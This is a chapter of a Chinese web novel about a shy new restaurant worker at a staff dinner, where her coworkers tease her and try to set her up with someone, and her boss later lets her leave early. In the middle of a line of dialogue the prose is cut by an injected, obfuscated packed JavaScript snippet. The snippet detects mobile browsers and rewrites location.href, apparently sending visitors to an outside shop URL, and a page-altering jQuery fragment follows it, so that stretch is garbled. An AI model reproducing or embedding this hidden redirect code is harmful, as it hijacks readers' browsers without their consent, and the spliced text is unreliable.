张壅和安叔在厨房忙活一阵总算端出四个菜出来,何嘉见大伙都累了便主动去拿碗。
她想着自己才来这里,总要有眼色,趁机博得一波大家的好感。
桌上摆着一盘回锅肉,小炒牛肉,呛炒土豆丝,还有一份豌豆尖圆子汤,每道菜看看上去都色香味俱全,闻起来很香,是那种用猛火才能炒出来的锅气。
好巧不巧,还正好是她喜欢吃的菜。
何嘉拿碗的时候数了数,加上老板,现在店里一共六个人。
她看了眼四盘菜,原来以为是不够六个人吃的,但每盘菜都是用大碗装的,想必应该是吃不完的。
张姨见她拿着碗站在桌子前,立马接过几只饭碗:“小嘉啊,你不用那么勤快呀,这些我们来就行啊,你等着吃饭就好。”
何嘉笑起来,两个梨涡若隐若现:“没关系,我也是顺手,就一点点事情我做无所谓的。”
张姨猜测她或许生活得有些不容易,所以才要处处看人脸色,心里一片慈爱,看着她的眼神都温柔起来,“好好好,这么好的小妹,乖得很。”
她没接话,依旧笑着帮她布置碗筷。
大伙忙了一晚上,这会儿都纷纷入座。何嘉站在桌子旁迟迟没有坐下。
李成杨从前台起身,慢悠悠地走过来,路过她的时候抬眼,“你站着干嘛?”
何嘉说:“等你过来我再坐。”
李成杨拉开椅子自己坐下,毫不客气地说:“哦,尊老是吧?”
她噎住,“……不是。”
她只是觉得自己才来,不等老板入座就吃饭看着有些没规矩。
她可不是那么没有自知之明的人,况且某些为人处事的道理她从小就懂了。有些嘴上会说没事,但心底会记着你的一举一动,要保证不出错就要事事有眼色。
旁边的张壅看她愣着不坐,指了指自己身边的座位,给她递了个眼神,“哎呀,你老讲究人了,但是我们这里不讲究这些,不用那么见外。”
何嘉被他戳中心事,有些不自然地坐到他身边。
好巧不巧就对着老板的座位。
李成杨没管她,拿起饭桶给自己添了满满一碗饭,大口吃起来。
何嘉也给自己添了一碗饭,尽量压低自己的存在感。
饭桌上几个人除了张姨和张壅爱说话,其他几个都只是默默吃饭。
何嘉的视线飘到那道小炒牛肉上,可惜那道菜离她很远,她想伸手去夹又觉得有些不好意思。
就这么吃了十分钟,她的视线有意无意落在那盘菜上,心里做了好大一番思想斗争。
要是伸那么远去夹会不会不太好?可是又好想吃……
最终她还是觉得面子更重要,实在是不好意思把手伸那么远去夹。
李成杨往嘴里塞了一片牛肉,视线落在她脸上。
她吃饭的时候很紧张,不敢和他对视也不敢去看其他人,像只仓鼠一样只在自己的范围内活动,生怕有人注意到她。
为什么?难道自己看上去很凶?
不应该。
他莫名想到自己像她这么大的时候好像也是这样,不习惯和不熟的人吃饭,总觉得别扭。
或许是出于理解,他大手一推,将那盘牛肉往她的方向推近了一些,确保她能夹到。
“?”
何嘉看着那盘菜突然被他推近,有些不解地盯着他。
他只说一句:“夹不到就说。”
饭桌上其他四个人都齐齐看向他们俩。
而她一下子红了脸颊。
原来他早就看穿她在想什么了……
只是这么一来还不如她忍着不吃呢!真的好尴尬啊!
张姨哈哈大笑,伸手替她夹了一筷子。
“别害羞啊,想吃什么自己夹,夹不到站起来夹也可以啊,就是别见外嘛!我们都好相处的呀!”
何嘉低头着头将牛肉放进嘴里,“谢谢张姨。”
又想起什么,抬头看向李成杨:“谢谢老板……”
他没作声。
坐在她身边的张壅也抬手夹了一筷子牛肉,转头问她:“好吃不,我炒的。”
她很给面子:“好吃的,很好吃。”
“那可不,我的手艺哈,安叔第一那我就排第二,除此之外没有第三了。”
安叔听见自己的名字,朝他俩笑笑。
何嘉只管顺着他说:“嗯嗯,挺好的。”
张壅又夹了两筷子,突然问她:“哎,你读大几啊?”
何嘉回答:“大四了。”
“大四?大四不得准备毕业找实习啥的?不是还要写个什么论文吗?”
“嗯……我最近在准备论文了,实习的话不太着急。”
“怎么?找着了?啥工作?”
“还没找,因为有可能要准备读研。”
“呦,高材生啊,”张壅继续问:“那你学啥专业啊?”
“学历史的。”
“学历史能找个啥工作?考古探墓啊?是不是还能见到古代僵尸?”
何嘉笑了:“不是,我是学的师范。”
张壅作出惊讶的样子:“不得了不得了哦,以后是要出来做老师的啊。”
一旁的张姨跳出来说:“老师好啊,工作多稳定啊,还有寒暑假呢!”
张壅抓住间隙,“那你读研就是为了做老师?”
何嘉说:“对的。现在当老师要求的学历挺高的,要研究生才能当中学老师了。”
“不容易喔。”
“还好。”
何嘉又扒拉了几口米饭,不知不觉已经见底了。她迅速吃完最后几口,有些想起身离席,但是他们都没吃完,于是只好继续坐在原处。
一直没说话的李成杨看了看她的碗,“不吃了?”
她说:“我吃完了。”
他很怀疑:“吃饱了?”
“吃饱了。”
“嗯。”他继续夹菜,“耗子一样。”
“?”何嘉眼里满是迷惑。
他慢悠悠地说:“吃得挺少的,像是吊命。”
她觉得神了,这老板昨天多么慷慨,今天怎么总是说些噎她的话。
何嘉严肃地说:“没有,我吃得挺多的,只是比较快。”
“嗯。”他又不说话了,她也不再看他。
张姨舀了一碗汤,喝了两口想到什么:“小嘉啊,读研好哦,以后出来也能找个高学历的对象,那多好,门当户对的养的小孩智商都高。”
找对象?养小孩?
何嘉一听这话脸颊更红了:“暂时没有这个打算的。”
张姨给她舀了一碗汤:“现在没有以后有啊,你现在该是没有对象吧?”
“没有。”
“那我跟你讲哦,我有个老同学,家里出了个博士嘞!学历高啊,人才又好,我看以后介绍你俩认识多好呢!”
何嘉不说话,心里好想快逃,怎么老一辈的总是喜欢见人就当媒人,赶快结束这个话题吧!
同样正在喝汤的李成杨放下碗筷,咳了一声。
大家闻声朝他看去。
他像没事人一样说:“张姨,人家一小姑娘,大学都没毕业你就给人介绍对象,不好吧。还是个博士,那不得三十多了。”
“啊呀!”张姨一听这话才发现不妥,用力拍了拍自己脑袋,“对对对!你瞧我这说什么呢,小嘉你才二十出头哈,瞧我怎么想到给你介绍个叔叔去了,不合适
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242331|197793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不合适,你以后还是要找个年轻的。”
叔叔?
李成杨在心里默念这两个字,想到自己也是这个年龄就已经被称为叔叔了?
他轻嗤一声,直起身抽了两张纸,擦了嘴之后率先离席。
何嘉不知怎么的,突然盯着他的背影发神。
老板今年多大了?
只想了半秒更觉得不妥,摇摇头看向张姨:“我觉得一个人就挺好的,找不找对象都差不多的。”
张姨还没来得及回答,旁边的张壅就说:“哎,你那是没遇上合适的,你跟我年龄差不多大啊,你喜欢啥样的?我朋友挺多的,各种样式的都有,包你满意。”
这话在何嘉耳里怎么听都不是那么合法呢。
她喝完最后一口汤,铁了心拒绝:“不用了,我是真没那个想法,现在一个人真的很好。”
“好吧。”他没了兴致,起身去后厨开始涮锅。
一直不说话的蒋姨将一桌子碗筷收好,张姨同她一起把碗洗了,两个人有一搭没一搭地聊天。
何嘉坐在另一方圆桌上开始发呆。
这一顿饭吃下来还算顺利,如果张姨他们不提给她介绍对象的事就更好了。
不过可喜可贺的是,这家饭馆里的伙计果然真的和蔼可亲,每个人都非常好相处。
距离下班时间还有二十分钟,何嘉摸出了上午的答辩稿,准备趁这档空隙整理整理。
李成杨恰好从二楼下来,看了眼时间又看了看坐在圆桌旁的姑娘。
她的头发垂在肩上,有几根发丝贴在还没恢复的左脸上,发尾有些轻微泛黄,可能是营养不良。
他又看了看她的侧脸,鼻梁小巧秀致,睫毛不是特别长,但眼睛水灵灵的。如果脸上没有那天被打的痕迹,应该是个年轻又惹人喜欢的女孩。
这一点有好有坏,但总的来说和他没有关系。
“下班吧。”
他走下楼梯,声音从何嘉的头顶上传来。
她抬头对上他的视线,只见他的毛衣在灯光下泛着微蓝的光亮,显得他整个人非常柔和。
和她初次见他的时候一模一样。
她指向墙上的时钟,对他说:“我还没到下班时间呢。”
20:45
还有十五分钟才下班。
他不明白她这人怎么什么都那么较真。
轻微皱眉,低头看她:“你做什么都那么规矩?”
“嗯?”她不知道他什么意思。
他摇头表示无语:“让你走就走,没单子了就走。”
她不动,“可是万一十五分钟内有单子了呢?我的工时还没结束。”
他被她的逻辑折服:“你很喜欢上班么?”
“也不是。”
“那就走。我们这儿规矩不严,也不是什么压榨员工的地方,都让你走了,早点回去早点休息。”
何嘉慢吞吞地点头:“噢,谢谢老板。”
等她背着背包离开的时候,还不忘回头看看店里的几个人。
张姨和蒋姨朝她微笑挥手,李成杨坐在前台玩手机。
她的视线留在他身上,犹豫了几秒还是抬手对他打了个招呼,“老板再见。”
李成杨抬头,一下子想到什么。
他知道了。这个姑娘有一套自己的礼数系统,不完成的话可能要在心里焦虑一天。
比如在无人的夜里一遍一遍回想:不打招呼就走会不会太不礼貌了?这样不会被讨厌吧?要不然还是应该打个招呼吧?
他懒得猜她究竟是不是这么想的,随口回应了一句:“走吧,拜拜。”
她微微一笑,嘴角的两个梨涡可以盛起几滴清泉。
“拜拜。”